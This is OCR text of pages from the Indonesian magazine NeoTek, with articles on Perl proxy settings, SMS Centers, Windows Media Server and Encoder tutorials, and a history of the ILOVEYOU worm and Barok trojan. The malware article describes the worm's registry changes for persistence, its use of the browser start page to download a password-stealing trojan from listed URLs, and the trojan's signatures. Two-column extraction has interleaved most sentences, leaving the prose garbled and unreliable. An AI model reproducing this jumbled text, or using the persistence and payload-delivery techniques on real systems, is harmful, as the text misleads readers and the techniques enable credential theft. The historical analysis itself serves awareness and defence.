memberi tanda sharp (##) di depan baris $proxy sehingga baris environment variabel.
ini menjadi komentar yang tidak akan dijalankan saaat
Kondisi Cara Pemberian Nilai HTTP Proxy
eksekusi skrip.
Koneksi langsung Tidak perlu
Namun pada koneksi tidak langsung, seperti pada LAN, ada
dua kemungkinan kondisi penggunaan variabel $proxy. LAN, proxy server • Pada badan skrip
$proxy = 'http://ip:port';
Kondisi pertama adalah belum ada konfigurasi global apapun
• Pada variabel environtment
yang mengatur http proxy. Pada kondisi ini nilai http proxy
set http_proxy=http://ip:port/
perlu diisi dengan nilai yang sesuai.
LAN, transparent proxy Tidak perlu
Cara pemberian nilai pada variabel ini pun ada tiga cara. Cara
yang paling mudah adalah dengan menuliskan pada badan Ada sedikit tips bagi pengguna shell. Pada kondisi normal,
skrip. Kebanyakan pada contoh skrip yang saya bawakan, biasanya shell linux menggunakan koneksi langsung ke
variabel $proxy saya isi dengan http://192.168.100.3:3128/ internet. Namun pada beberapa kasus ada juga shell linux yang
karena memang IP dan port itulah proxy server pada jaringan berada di balik NAT. Carilah nilai http proxy yang digunakan
saya. Sesuaikan nilai tersebut dengan proxy server pada pada shell linux tersebut dengan melihat file-file konfigurasi
jaringan anda. Cara pemberian nilai yang kedua adalah dengan seperti /etc/lynx.cfg atau ~/.wgetrc.
menetapkan variabel http proxy pada variabel environment
anda. [geogeek@lab geogeek]$ cat /etc/lynx.cfg | grep http_proxy
http_proxy:http://192.168.25.3:3128/
Contoh pada Windows/DOS Prompt:
Tips lain adalah jika proxy yang Anda gunakan menggunakan
C:\>set HTTP_PROXY=http://192.168.100:3/ username/password, maka simpan semua setting proxy di
Periksa keberhasilan pengisian variabel dengan perintah: environtment variabel, yaitu
C:\>echo %HTTP_PROXY% HTTP_PROXY, HTTP_PROXY_USER, dan HTTP_PROXY_PASS
http://192.168.100:3/ Dalam skrip LWP gunakan $u ua->env_proxy; untuk mengambil
Jika akses proxy server membutuhkan username dan password, semua nilai dari environment variables
dapat disimpan dengan perintah:

Vol. IV No. 08 NeoTek 23


NeoStart

S M S DAN G S M HAC K I N G
Mengenal SMS Center
Untuk melengkapi bahasan SMS dan GSM Hacking kali ini, Eko Febriyanto (eko.f@indosat-
m3.com) membahas SMS Center yang merupakan fasilitas penting untuk mengoperasikan
pengiriman SMS secara ‘normal’ maupun ‘abnormal.’

SMS CENTER, SEBAIKNYA pesan akan segera dikirim. SMSC menerima verifikasi
S EBELUM KITA MEMBAHAS
kita pelajari dulu apa sih SMS itu? SMS (Short
Message Service) adalah sebuah layanan pengi-
kalau pesan tersebut sudah diterima oleh nomor yang
dituju dan mengkategorikan pesan tersebut sebagai
riman pesan singkat dari dan ke telepon seluler, mesin fax, sebuah pesan "terkirim" dan tidak akan melakukan
dan atau sebuah IP address. percobaan pengiriman pesan lagi.
Layanan ini disebut sebagai layanan pesan singkat karena Prinsip dasarnya adalah bahwa hanya ada satu Short
memang lebar karakter dalam pesan ini hanya sebanyak Message Service Center yang menerjemahkan pesan
160 karakter alfanumerik dan tidak berisi gambar atau untuk dikirimkan pada sebuah jaringan GSM.
grafik. Suatu provider telepon seluler pasti menyediakan Kesulitan yang mendasar dalam membangun sebuah
layanan ini sebagai salah satu layanan utama provider layanan berbasis SMS adalah karena beragamnya proto-
tersebut. kol yang digunakan untuk terhubung pada sebuah SMSC.
SMS didukung oleh GSM, TDMA, dan CDMA yang ber- ETSI (European Telecommunication Standards Institute)
basis pada telepon seluler yang saat ini banyak digunakan. telah mengakui bahwa di dunia digunakan empat macam
Karena layanan berbasis SMS telah digunakan selama protokol yang berbeda untuk terhubung ke suatu SMSC,
bertahun-tahun, maka penetrasi telepon seluler dan user artinya bahwa sebuah SMSC harus memiliki satu dari
yang menggunakan layanan ini sudah sangat banyak, keempat protokol yang telah ditentukan ETSI tersebut.
yang membuat layanan berbasis SMS menjadi sebuah
layanan yang menarik. Protokol tersebut adalah SMPP oleh Logica, CIMD oleh
Nokia, UCP/EMI oleh CMG, dan SMS2000 oleh SEMA.
Sekarang ini otomatisasi dalam layanan ini dimanfaatkan Semua protokol ini mempunyai fungsi yang berbeda satu
untuk berkomunikasi secara singkat pada para konsumen sama lain dan juga mempunyai konversi karakter yang
suatu perusahaan. Contohnya adalah layanan pesan antar jauh berbeda satu sama lain. Dukungan terhadap semua
yang menggunakan SMS, ataupun layanan informasi protokol ini merupakan keharusan bagi sebuah provider
yang secara otomatis me-reply pada para pelanggan. SMS. Ada beberapa SMS Gateway yang dapat terhubung
Oleh karena itu para provider telekomunikasi seluler pun pada beberapa atau bahkan semua protokol tersebut.
saling bersaing dalam membuat content pada layanan
berbasis SMS-nya yang membuatnya semakin menarik
bagi para konsumen. Pengiriman SMS dari web berbayar
dan gratis pun telah banyak meraih keuntungan. Gambar 1.
Koneksi SMSC
SMS Center terhadap MSC, HLR
Sekali sebuah pesan dikirim, pesan tersebut akan diterima yang dilakukan
dahulu oleh SMS Center (SMSC) yang kemudian harus melalui Signal
Transfer Point (STP).
disampaikan pada nomor tujuan. Untuk melakukan ini,
SMSC mengirimkan sebuah sms request ke Home Loca- SMS dapat dikirimkan dan diterima bersamaan dengan
tion Register (H
HLR) untuk menemukan pelanggan tujuan. voice, data, dan fax. Ini dimungkinkan karena voice, data
Saat HLR menerima pesan tersebut maka, HLR akan dan fax menggunakan channel yang berbeda dengan
merespon ke SMSC dengan status pelanggan berupa: SMS. Oleh karena itu pengguna SMS jarang atau tidak
1. inactive atau active pernah mendapatkan signal sibuk pada saat jaringan voice
2. letak pelanggan yang dimaksud (pelanggan tujuan/ sedang sibuk, kecuali memang SMS Center tersebut
destination number). memang sibuk. Berbeda kondisinya apabila jaringan
sedang sibuk.
Jika responsnya inactive maka SMSC akan meng-hold
pesan tersebut sampai pada periode tertentu. Saat pelang- Oleh karena itu persyaratan untuk dapat menggunakan
gan tersebut menyalakan handsetnya maka akan terjadi SMS sangatlah mudah, diantaranya adalah:
update location pada HLR, dan HLR akan mengirimkan 1. Berlangganan pada sebuah provider jaringan seluler
status terhadap pesan yang belum terkirim pada SMSC, 2. Sebuah handset yang mendukung SMS.
kemudian SMSC segera mengirimkan pesan yang belum 3. Layanan SMS harus di-enabled pada sisi provider seluler
terkirim tersebut pada pelanggan yang dituju. terhadap pelanggan tersebut
SMSC mentransfer pesan dalam format Point to Point 4. Pengetahuan tentang bagaimana menulis dan mengirimkan
pada sistem yang melayani. Sistem pertama-tama mecoba sebuah SMS.
melihat status nomor pelanggan tersebut, jika aktif maka 5. Tujuan SMS.

24 NeoTek Vol. IV No. 08


NeoStart

Bahasan Handphone pada NeoTek


da baiknya anda membaca kembali bahasan-
A bahasan mengenai handphone yang petrnah
dimuat dalam NeoTek. Semua bahan-bahan itu
dapat anda peroleh dari bagian Arsip situs NeoTek di
http://www.neotek.co.id.
Bahasan mengenai handphone pada NeoTek mencakup
SMS, CSD, HSCSD, GPRS, WAP, Bluetooth, dan
Wireless Java.
NeoTek III/09
Memahami WAP:
Nokia WAP Toolkit untuk Belajar WML
Memahami WAP:
WML dan WMLScript
Memahami WAP:
Konversi Grafik ke Format WBMP
Gambar 2. Konfigurasi operasional suatu SMS Center.
Wireless Program:
WBMP On-The-Fly pada ASP
Pengiriman sebuah SMS antara sebuah handset dengan Wireless Program:
handset lain dilakukan oleh sebuah SMS Center. SMSC WBMP On-The-Fly pada PHP
adalah sebuah software yang di-install pada sebuah Memahami WAP:
jaringan operator seluler dan me-manage proses-proses Reaktivasi Demo WinWAP 3.0 Pro
termasuk antrian pesan yang masuk, billing si pengirim,
dan pengembalian status pesan jika dibutuhkan. Memahami WAP:
Mengirim Email Melalui WAP Gateway
Banyak operator kini menawarkan layanan berbasis web
Memahami WAP:
untuk mengakses SMS Center-nya, jadi kita dapat mengi- POP Email Melalui WAP Gateway
rimkan sebuah SMS ke mobile phone mana saja dari web
tersebut. Memahami WAP:
WAP Push Message
SMS menyedikan sebuah mekanisme untuk
Location Base Service:
mengirimkan pesan singkat dari dan ke sebuah perangkat SMS Sebagai Penunjuk Jalan
wireless. Layanan ini menggunakan fungsi dari SMSC,
yang berfungsi seolah - olah sebagai sistem yang NeoTek III/11
menyimpan dan meneruskan sebuah pesan singkat. Wireless Device: Java Enabled Phone
eSMS-C Wireless Java:
Mengenal J2ME Wireless Toolkit
eSMS-C adalah SMSC yang dikembangkan oleh Ericsson Wireless Java:
yang menawarkan fungsi pesan singkat, pesan notifikasi, Sony Ericsson P800 J2ME Wireless Toolkit
dan e-mail. Untuk fitur tambahannya eSMS-C
menawarkan layanan-layanan berupa: Wireless Java:
Device Nokia Seri 40 J2ME Wireless Toolkit
1. Information Service. Layanan seperti info berita, olahraga,
jumlah saham dan lain sebagainya. Wireless Java:
Aplikasi MIDP pada J2ME Wireless Toolkit
2. Layanan Over The Air. Layanan seperti setting GPRS over
the air, dan lain - lain. Wireless Java:
Nokia Developer’s Suite for J2ME
3. Telemetry Application, seperti vending machine, remote
meter reading, dan lain - lain. NeoTek Vol. III/12
4. Mobile E-Commerce, seperti mobile banking, movie ticket, Komunikasi Data lewat Ponsel:
dan lain - lain. CSD, HSCSD, GPRS, dan G3
eSMS-C mendukung protokol seperti: Internet lewat HP:
1. SMPP, Short Message Protocol Peer to Peer adalah protokol Dial-up Internet ke ISP lewat Koneksi CSD
standar yang diberikan oleh Ericsson untuk sebagai protokol Internet lewat HP: Dial-up Internet ke Operator GPRS
untuk pengiriman pesan singkat.
NeoTek Vol. IV/01
2. CAP II, Computer Access Protocol II adalah protokol untuk
pengiriman pesan singkat yang juga dikembangkan oleh Memahami Bluetooth:
Ericsson untuk kegunaan aplikasi berbasis web. Dial-up Internet GPRS dengan Ponsel Bluetooth
3. SMTP, Simple Mail Transfer Protocol yang juga digunakan NeoTek Vol. IV/02
untuk meng-convert sebuah SMS menjadi sebuah e-mail Mobile Media:
dan sebaliknya. Series 60 SDK 1.0 Symbian Ed.
NeoTek IV/03
Navigasi dengan GPS atau LBS?
Khusus Mentari/Matrix:
Kirim SMS Bisa Gratis!

Vol. IV No. 08 NeoTek 25


NeoStyle

R AD I O DAN T V I NTE R N ET
Windows Media Server
Sebagai pembanding terhadap Darwin Streaming Server yang dibahas di NeoTek IV/07,
Fitrianto Halim (fitriantoh@hotmail.com) akan mengulas Windows Media Server yang dapat
digunakan untuk video streaming server, baik live (broadcast) serta on demand.

MEDIA SERVER UMUMNYA DISERTAKAN PADA Untuk mengkonfigurasi Windows Media Unicast Service,
W
INDOWS
operating system dari Microsoft yang diperuntuk- pada Configure Server klik link Unicast Publishing Points.
kan untuk server, misalkan pada MS Windows
2000 server. Ada empat buah service yang berkaitan
dengan Windows Media server, yaitu:
• Windows Media Monitor Service
• Windows Media Program Service
• Windows Media Station Service
• Windows Media Unicast Service
Pada artikel ini, penulis hanya akan mengulas Windows
Media Unicast Service, karena kemampuannya sudah men-
cukupi untuk membuat video streaming server, baik broad-
cast maupun on demand.
Oleh karena itu, perhatikan statusnya haruslah Started, baik
untuk Startup Type dengan nilai Automatic ataupun Manual. Gambar 4. Unicast Publishing Points

Path default untuk on


demand adalah \ASFRoot
tempat kita meletakkan
file-file ASF. Dalam per-
cobaan penulis, bisa juga
digunakan format WMV
Gambar 1. Status Service Windows Media harus Started di samping format ASF.

Untuk menggunakan Windows Media server, pada Control


Panel > Administrative Tools, klik Windows Media. Maka
akan muncul Windows Media Administrator.

Gambar 5. Default path di \ASFRoot


Untuk mencobanya, guna-
kan Windows Media Pla-
yer lalu masukkan URL
berikut:
ms://localhost/sample.asf

Gambar 2 dan 3. Pada Control Panel pilih Administrative Tools


dan klik Windows Media untuk menampilkan Windows Media Gambar 6. Memainkan
Administrator dari dari sini pilih Unitcast Publishing Point sample.asf

26 NeoTek Vol. IV No. 08


NeoStyle

Untuk mengubah path default \ASFRoot caranya cukup Broadcast Publishing Point
mudah, yaitu klik kanan alias yang bersangkutan, maka Setelah on demand, kini
akan muncul menu pop-up dengan dua pilihan, yaitu: kita beralih untuk men-
Properties... dan Delete. Untuk coba broadcast
keperluan kita, tentunya kita pilih Klik tombol Broadcast, lalu pada menu pop-up pilih New...
Properties...
Bagian penting dalam konfigurasi adalah memilih sumber
On-Demand Publishing Point Specify source). Penulis menggunakan sumber Windows
(S
Media
Encoder.
Bagian pen-
ting lain-
nya adalah
pembuatan
broadcast
publishing
point.
Perhatikan
untuk input
Path: dan
Port: harus
disesuaikan
dengan kon-
disi video
broadcast
Windows
Media
Encoder.
Untuk membuat Penulis
on-demand pub- mengguna-
lishing point baru, kan
caranya klik tom- Windows
bol On-Demand, Media
lalu pada menu Encoder
pop-up pilih New... versi 9
untuk Win-
Langkah-langkah dows 2000
selanjutnya bisa dan XP (bi-
anda lihat pada sa anda per-
Gambar 7-10. oleh pada
Bila pernah CD NeoTek
mengkonfigur- Vol. IV/02).
asi web server, Secara ga-
maka publish- ris besar,
ing point dapat cara mem-
diibaratkan buat video
sebagai virtual broadcast-
directory. nya hampir
sama de-
ngan Win-
dows Media
Encoder se-
belumnya
(versi 7.1).
Namun pe-
nulis mem-
berikan
langkah-
langkah-
nya.

Gambar 7, 8, 9, 10.
Mengkonfigurasi
on-demand pub- Gambar 11, 12, 13, 14. Specify Source dari Windows Media Encoder
lishing point baru

Vol. IV No. 08 NeoTek 27


NeoStyle

• Pada tab Wizards di New Session, pilih Broadcast a live • Pada tab Sources, untuk Source from: pilih File lalu klik
event. Browse... untuk memilih file yang digunakan.

• Pada tab Compression, pilih profile yang ingin digunakan.


• Salah satu bagian menarik dari Windows Media
Encoder versi 9 adalah adanya pilihan apa yang akan
dilakukan setelah suatu source selesai di-encoding.
Anda bisa memilih:
Stop, Loop, Roll over
to next source, atau
Roll over to first
• Untuk Broadcast Method pilih Pull from the encoder source. Agar semua
(the server or player initiates the connection). source di-encoding, tentunya kita akan me-
milih Roll over to next source, terkecuali
untuk source terakhir kita bisa memilih Stop
atau Roll over to first source (sequential loop).
Menguji Video Broadcast
Untuk menguji hasil video broadcast dengan Windows
Media Encoder, gunakan Windows
Media player, yang untuk contoh
di atas masukkan URL:
http://localhost:1075
Setelah berhasil, kita coba broad-
cast dari Windows Media server
menggunakan Windows Media
Player, yang untuk contoh di atas
kita masukkan URL:
mms://localhost/live
Penutup
Windows Media server dapat digu-
nakan untuk video streaming server
baik on demand dan broadcast (yang
• Perhatikan bagian Broadcast Connection; bagian ini sebenarnya me-relay dari suatu
yang digunakan saat mengkonfigurasi broadcast di sumber lainnya).
Windows Media server. Windows Media Encoder versi 9 le-
• Pada bagian utama dari Windows Media bih baik bila dibandingkan 7.1 dan
Encoder, klik tombol Properties. dapat untuk membuat TV internet.

28 NeoTek Vol. IV No. 08


NeoStyle

R AD I O DAN T V I NTE R N ET
Windows Media Encoder
Sebagai pembanding terhadap Darwin Streaming Server dibahas pula Windows Media
Encoder yang merupakan software video broadcast gratis dari Microsoft.
INDOWS MEDIA ENCODER DAPAT DIKATAKAN SUATU
W utility yang menarik dari Microsoft, karena dapat
digunakan untuk keperluan broadcast, capture dan
konversi. Pada artikel ini, penulis akan menguraikan
bagaimana cara mem-broadcast video dengan Windows
Media Encoder 7.1, dengan operating system yang
digunakan Windows 98.
• Jalankan Windows Media Encoder, pilih Broadcast, capture,
or convert a file using the New Session Wizard, klik OK
• Pada Broadcast Connection, isi HTTP port: dengan port
yang anda inginkan. Jika tidak mengetahui port mana
yang free, klik tombol Find Free Port (atau, dari DOS
prompt ketikksn netstat -a untuk mengetahui port apa
saja yang sedang digunakan). Selanjutnya, klik Next >

• Pilih Broadcast a live event from attached devices or com-


puter screen dan klik Next >

• Pada Profile Selection, pilih profile yang diinginkan. Tiap


profile memiliki video size, bit rate, dan fps berbeda.
Selanjutnya, klik Next >

• Pada Device Options, jangan lupa memberi tanda tick


untuk Video: dan klik Next >

Vol. IV No. 08 NeoTek 29


NeoStyle

• Kita akan mendapat tampilan utama • Pada tab Sources and Archive,
Windows Media Encoder. untuk Video: pilih Browse for file...

• Pada menu utama pilih Tools > Add


or Remove Sources...
• Pilihlah file video atau image yang
akan di-broadcast (Anda bisa memi-
lih file yang memiliki format *.asf,
*.wmv, *.bmp, *.avi, *.mpg). Perha-
tikan pula hanya sebuah file yang
dapat dipilih. Selanjutnya, klik Open.
Maka akan tampak perubahan untuk
input Video: dan Audio:.

• Pilih group Live dan klik Change...

30 NeoTek Vol. IV No. 08


NeoStyle

• Anda juga dapat membuat sebuah


source baru dari menu Tools > Add
or Remove Sources... . Caranya, klik
New... Pada bagian New Source
Group, jangan lupa untuk memberi
nama (input Name: ). Untuk
langkah-langkah lainnya sama
dengan cara mengubah source.
• Untuk memulai broadcast, klik Start.
Sedang untuk menghentikan
broadcast, klik Stop
Untuk mengujinya anda bisa menggu-
nakan Windows Media player, yang
untuk contoh di atas anda bisa mema-
sukkan URL (bisa dengan shortcut
Ctrl+U): http://localhost:8080
Salah satu kelemahan broadcast video
dengan Windows Media Encoder
adalah munculnya pesan kesalahan
setelah sebuah source berakhir.
Untuk mengatasinya, Anda harus
berpindah ke source selanjutnya
sebelum source yang sedang di-
broadcast berakhir, yaitu dengan cara
mengklik source selanjutnya yang
akan di-broadcast.
Penutup
Dari uraian di atas dapat disimpulkan
bahwa Windows Media Encoder dapat
dipergunakan untuk membuat TV
internet, walau masih terdapat bebe-
rapa kelemahan di Windows Media
Encoder.

Bug, bug, bug... Pesan kesalahan pada Windows Media


Encoder setelah suatu source berakhir.

Vol. IV No. 08 NeoTek 31


NeoTekno

VI R U S DAN WO R M
Onel de Guzman, I Love You, Barok
Belajar virus dari sejarahnya, itulah yang dibawakan oleh Happy Candraleka
(cakrabirawa@mail.ru). Ternyata ‘orang biasa’ bisa menjadi ancaman karena tidak pahamnya
masyarakat bahkan para akademisi terhadap budaya kreatif.

EORANG PEMIMPIN PERNAH MENEKANKAN PENTING- Perlu diketahui bahwa pada saat itu biaya akses Internet
S nya mempelajari sejarah. Dari mempelajari seja-
rah banyak diperoleh pelajaran-pelajaran yang
di Filipina tergolong tinggi dan dihitung per jam. Satu
jam akses dihargai sekitar 100 Peso atau setara dengan 2
bermanfaat. Prinsip yang dipegang oleh para arkeolog ini sampai 3 US Dollar. Kalikan saja dengan 8.300 untuk
akan kita coba terapkan dalam dunia digital. mendapatkan besaran dalam Rupiah. Walhasil, untuk
Dalam kaitannya dengan mempelajari sejarah, pada arti- berlama-lama mengakses Internet di sana hanyalah milik
kel ini akan penulis ungkap sesuatu hal yang menggem- orang-orang borjuis saja.
parkan dunia komputer beberapa tahun yang silam, yang Inilah yang kemudian bermuara pada dibuatnya I Love
dibuat oleh seorang mahasiswa muda usia. Yang menarik, You dan juga trojan Barok yang dapat Anda simak selan-
ini semua dibuat oleh seorang anak dari negara tetangga jutnya di artikel ini.
yang sama-sama negara berkembang dengan Indonesia,
yaitu Filipina. Bermula dari Sebuah Thesis
Artikel yang sedang Anda baca ini merupakan kupas tun- Seperti pada umumnya mahasiswa, mereka juga diharus-
tas yang mencoba untuk menjelaskan tentang anak muda kan membuat suatu proyek sebagai bagian dari tugas per-
yang bernama Onel de Guzman, I Love You, dan Barok. kuliahan dan juga sebagai tugas akhir untuk kelulusan-
nya. Tidak terkecuali Onel de Guzman.
Tentu saja dengan benang merah diantara ketiganya. Nama
yang pertama dan kedua yang penulis sebut di atas bisa Sebagai seorang mahasiswa, anak muda ini, yang cerdas
jadi telah anda dengar. Tetapi nama yang ketiga penulis dalam pemrograman, juga mengajukan proposal thesis.
kira anda belum mendengarnya. Ada apa dibalik nama Judul yang diajukan ke para dosennya adalah Email Pass -
ketiga dan ketiga nama tersebut? Untuk itulah artikel ini word Sender Trojan. Dari judulnya saja anda bisa berkata
ditulis. bahwa ini adalah sebuah judul yang dapat membuat 'bulu
kuduk seseorang berdiri.' Cukup seram untuk sebuah
Onel de Guzman judul thesis. Dengan ruang lingkup yang dibahas adalah
Gambar 1. 'software product' alias pembuatan program.
Onel de Guzman Email Password Sender Trojan dalam thesis Onel de Guzman
dari Filipina
merupakan sebuah trojan sederhana yang dapat mengirim-
kan password-password seseorang ke email account yang
telah ditentukan.
Password yang dikirimkan adalah password screen saver,
web, RAS (Remote Access Server); termasuk cache
password.
Onel de Guzman dalam thesisnya berpendapat bahwa pro-
gram yang dia buat akan bermanfaat bagi orang banyak
Sebelumnya ia adalah seorang yang biasa saja dalam dunia untuk mendapatkan password Windows. Misalnya untuk
komputer, seperti juga orang-orang lain yang intens dalam mendapatkan Internet Account seseorang sehingga dapat
dunia ini. Tidak banyak yang mengenal. Namanya men- ber-Internet ria tanpa perlu membayar. Ongkos akses In-
cuat tatkala ia disebut-sebut sebagai pembuat worm yang ternet dibebankan kepada pemilik account sesungguhnya.
merupakan kambing hitam terhadap kerugian besar di Bagaimana menurut Anda ide ini? Suatu kesenangan di
bumi. Onel de Guzman hanyalah seorang mahasiswa dari atas penderitaan orang lain.
AMA Computer College di kota Makati, Filipina. Sean-
dainya dia tidak tersangkut masalah ini, tentu dia dapat Proposal yang diajukan Onel de Guzman kandas. Kampus-
lulus dari College-nya secara terhormat. nya menolak usulan proposal thesis tersebut dan meng-
anggapnya melanggar etika. Thesis Onel de Guzman se-
Anak muda ini merupakan salah seorang anggota dari lengkapnya dapat anda baca di
sebuah kelompok komputer yang bernama Grammersoft. http://www.computerbytesman.com/lovebug/thesis.htm
Kelompok ini−seperti diungkap CNN−telah beberapa kali
mencoba untuk meng-hack ISP terbesar di negeri itu yaitu I Love You
Moscom Internet. Dan setidaknya dua kali menyebarkan Siapa yang tidak mengenal I Love You yang mencetak hit
virus secara sengaja ke para pelanggan Moscom. pada seputar bulan Mei tahun 2000. Boleh dibilang hampir
Penulis kira Onel de Guzman dengan Grammersoft ber- semua pengguna komputer mengenal atau setidaknya
usaha untuk mencari jalan dalam rangka mendapatkan pernah mendengarnya, karena daya sebarnya yang luar
akses internet secara gratis. biasa sehingga menggemparkan dunia.

32 NeoTek Vol. IV No. 08


NeoTekno

Gambar 2. dengan @m yang menyebar hanya lewat email yang anda


Worm I Love You kirim keluar.
I Love You mengganti dan menambahkan beberapa tipe
file. Diantaranya file-file dengan ekstensi *.jpg atau
*.jpeg menjadi file dengan penambahan *.vbs.
Misalnya file Gambar.jpg akan menjadi Gambar.jpg.vbs.
Selain itu dia juga melakukan hal yang sama pada file-file
dengan ekstensi *.mp3 atau *.mp2.
Untuk hal ini yang
perlu diperhatikan
adalah bahwa bila an-
Kerugian yang diakibatkannya ditaksir sekitar 7 milyar da mengaktifkan fitur
dan bahkan mampu mencapai 10 milyar US Dollar Hide file extension for
(CNN.com). Bisa jadi anda pernah dikirimi I Love You. known file types pada
I Love You yang mempunyai nama lain Lovebug atau Folder Options
Love Letter, sebenarnya merupakan sebuah worm. Mem- window (Gambar 3),
perbanyak diri dengan meng-copy dirinya dan mampu maka penambahan
membawa rutin-rutin destruktif yang tidak diinginkan ekstensi kedua (*.vbs)
user. Tepatlah bila worm ini digolongkan ke dalam tidak akan nampak.
malicious software alias program jahat. Seolah-olah tidak ada
Worm ini ditemukan pada tanggal 4 Mei 2000 (F-Secure). perubahan sama sekali.
Dalam kondisi ini worm dikatakan in the wild. Sudah ber- Inilah yang dicoba
ada di dunia luar, lepas dari laboraturium dan tersebar luas. untuk dimanfaatkan
Bila worm masih berada pada komputer pembuatnya, oleh worm I Love
masih berada pada komputer Onel de Guzman dan belum You. Itu semua adalah
tersebar ke luar, maka diistilahkan berada dalam keadaan Gambar 3. Folder Option
sebagian contoh efek
in the zoo. destruktif yang diba-
wa oleh worm I Love
Setiap virus, worm, dll terdapat signature atau tanda yang You. Tetapi efek destruktif tersebut akan tergolong kecil bila
membedakannya dengan 'organisme' lain. Pada badan anda melihat kemampuan berbahaya lain berikut ini yang
worm I Love You juga terdapat signature atau tanda yang dibawa oleh worm ini.
merupakan ciri khasnya seperti di bawah ini:
Efek yang berbahaya sekali adalah worm ini membuka ger-
rem barok -loveletter(vbe) <i hate go to school> bang untuk masuknya trojan yang telah disiapkan sendiri
rem by: spyder / ispyder@mail.com / @GRAMMERSoft oleh Onel de Guzman. Worm I Love You akan memodifikasi
Group / Manila,Philippines Internet Explorer, tepatnya memodifikasi Start Page IE.
Yang diubah adalah bagian registry Windows, yaitu pada
Spyder merupakan nama samaran buat Onel de Guzman key ini:
di dunia cyber. (Bila yang dia maksudkan adalah laba-laba, Hkey_Current_User\ Software\ Microsoft\ Internet Explorer\
harusnya Spider dan bukan Spyder). Rem merupakan Main\ Start Page
singkatan dari kata remark yang artinya komentar. Dalam
bahasa pemrograman BASIC, tulisan-tulisan (statement Key Start Page diarahkan pada salah satu dari empat alamat
program) yang ada setelah rem dianggap sebagai komen- URL berikut ini yang ditentukan secara random (acak):
tar dan tidak akan dieksekusi oleh kompiler.
http://www.skyinet.net/~young1s/ … /WIN-BUGSFIX.exe
Dalam pemrograman, rem bermanfaat untuk mempermu- http://www.skyinet.net/~angelcat/ … /WIN-BUGSFIX.exe
dah pelacakan kesalahan, memberi tanda, atau memberi http://www.skyinet.net/~koichi/ … /WIN-BUGSFIX.exe
komentar pada suatu kode atau blok program, sehingga http://www.skyinet.net/~chu/ … /WIN-BUGSFIX.exe
mempermudah programmer lain membaca kode programnya.
Sembarang tulisan dapat ditambahkan setelah rem. Di Keempat URL tersebut mengarah pada file yang sama yaitu
sini Onel de Guzman memanfaatkannya sebagai pengenal WIN-BUGSFIX.exe. Akibatnya bila user menjalankan browser
worm I Love You. Internet Explorer maka akan langsung men-download file
WIN-BUGSFIX.exe.
Efek Destruktif I Love You Apa sesungguhnya file ini? Benarkah file ini merupakan
I Love You menyebar melalui email sebagai surat berantai patch untuk memperbaiki Sistem Operasi Windows yang
(chain letter). Daya sebar I Love You tergolong cukup cepat. memang banyak terdapat bug? Dan file ini hadir sebagai
Pada tanggal 8 Mei 2000 pukul 05:00 PM CERT Coordina- penolong? File ini pada hakikatnya adalah sebuah trojan
tion Center menerima laporan lebih dari 650 situs indivi- yang membawa peran tersendiri. Onel de Guzman berharap
du yang mengindikasikan 500.000 sistem individu yang ada orang yang tertipu dari manuver yang dibuatnya.
terinfeksi I Love You. Tidak sampai di situ, ada juga bagian lain yang diubah untuk
Penyebaran yang cepat dimungkinkan karena I Love You memuluskan skenario ini. Bagian registry Windows yang
memanfaatkan buku alamat pada Outlook untuk melaku- dimodifikasi lainnya adalah pada key ini:
kan mass mailing. I Love You akan mengirim email berisi Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVers
copy dirinya ke setiap alamat yang ada pada buku alamat ion\Run\WIN-BUGSFIX
tersebut. Sehingga worm ini digolongkan ke dalam @mm
(menyebar melalui email secara mass mailing). Berbeda Key ini berfungsi memaksa Windows menjalankan file yang
telah di-download tersebut setiap kali Windows dimulai.

Vol. IV No. 08 NeoTek 33


NeoTekno

Penulis kira inilah peran khusus dari worm I Love You. Se- Client Barok adalah:
telah file WIN-BUGSFIX.exe berhasil di-download dan • File name
Windows siap menjalankan file ini, maka peran worm ini • Outgoing Mail Server (SMTP)
selesai. Peran selanjutnya dijalankan oleh WIN-BUGSFIX.exe • Destination Mail
yang sejatinya merupakan trojan pencuri password. • Schedule Send.
Windows Scripting Host Barok dibuat juga oleh Spyder
dan GrammerSoft. Untuk mem-
I Love You dibuat bahasa Visual Basic Script, sehingga program Client dan Server Barok
mempunyai ekstensi *.vbs. ini Onel de Guzman mengguna-
Sebagaimana juga script- kan Microsoft Visual C++. Hal
script Visual Basic lain- ini dapat diketahui dengan 'mem-
nya, I Love You tidak da- bedah' Barok menggunakan hex
pat bekerja bila anda me- editor. Diantaranya pada offset
nonaktifkan atau tidak A59C file Server.exe dan pada
meng-install Windows offset D6A8C file Client.exe
Scripting Host. terdapat informasi yang me-
Gambar 5. Client Barok 2.0 nunjukkan tentang hal ini.
Ini adalah satu cara untuk
melindungi diri dari se- Signature atau tanda juga terdapat pada Barok sebagai pe-
rangan I Love You. Tetapi ngenal bahwa file tersebut adalah trojan Barok. Pada
bila anda memutuskan bagian server, yaitu mulai di offset B038 terdapat
untuk menonaktifkan signature ini:
Windows Scripting Host, barok ->by:spyder @Copyright (c) 2000 GRAMMERSoft Group
maka pertimbangkanlah
Gambar 7a.
script-script yang Signature pertama
Gambar 4. Windows scripting host
lainnya, karena bisa tidak Barok Server
berjalan juga.
Windows Scripting Host dapat Anda akses melalui fitur
Add/Remove Programs Properties di Control Panel. Pada
Gambar 4 diperlihatkan komponen Windows Scripting
Host yang telah ter-install. Perhatikan bagian Description
pada kotak dialog tersebut. Pada bagian itu Microsoft
sendiri menjelaskan bahwa Windows Scripting Host dapat
digunakan untuk mengotomatisasikan tugas-tugas dalam
Signature lainnya dapat dilihat pada offset B340, akan
Windows. Ini adalah satu sinyalemen.
anda jumpai seperti di bawah ini:
Otomatisasi bagai pisau bermata dua. Dengan otomatisasi BAROK…student of amacc mkt. phils ->by:spyder
tugas-tugas anda menjadi mudah dan cepat. Ini berarti @Copyright (c) 2000 GRAMMERSoft Group
satu keuntungan dalam proses produksi atau bekerja.
Gambar 7b.
Tetapi jangan lupa, dengan otomatisasi pula segalanya ber- Signature kedua
jalan dengan sendirinya padahal tidak diinginkan user. Barok Server
Berjalan diluar kontrol user yang menggunakan komputer
itu. Ini satu sisi lain yang bersifat negatif. Dalam koridor
otomatisasi, yang berperan penting adalah rutin-rutin
yang dijalankan. Hal ini tergantung sang programmer.
Barok
Sebagaimana telah dijelaskan dimuka bahwa I Love You
berperan membuka jalan bagi penyebaran dan penetrasi
trojan yang telah disiapkan Onel de Guzman ke kompu- Berdasarkan pengujian yang penulis lakukan terhadap
ter sasaran. Selanjutnya peran diambil alih oleh trojan. trojan Barok ini, baik unit Client ataupun unit Server,
telah terdeteksi oleh Antivirus McAfee.
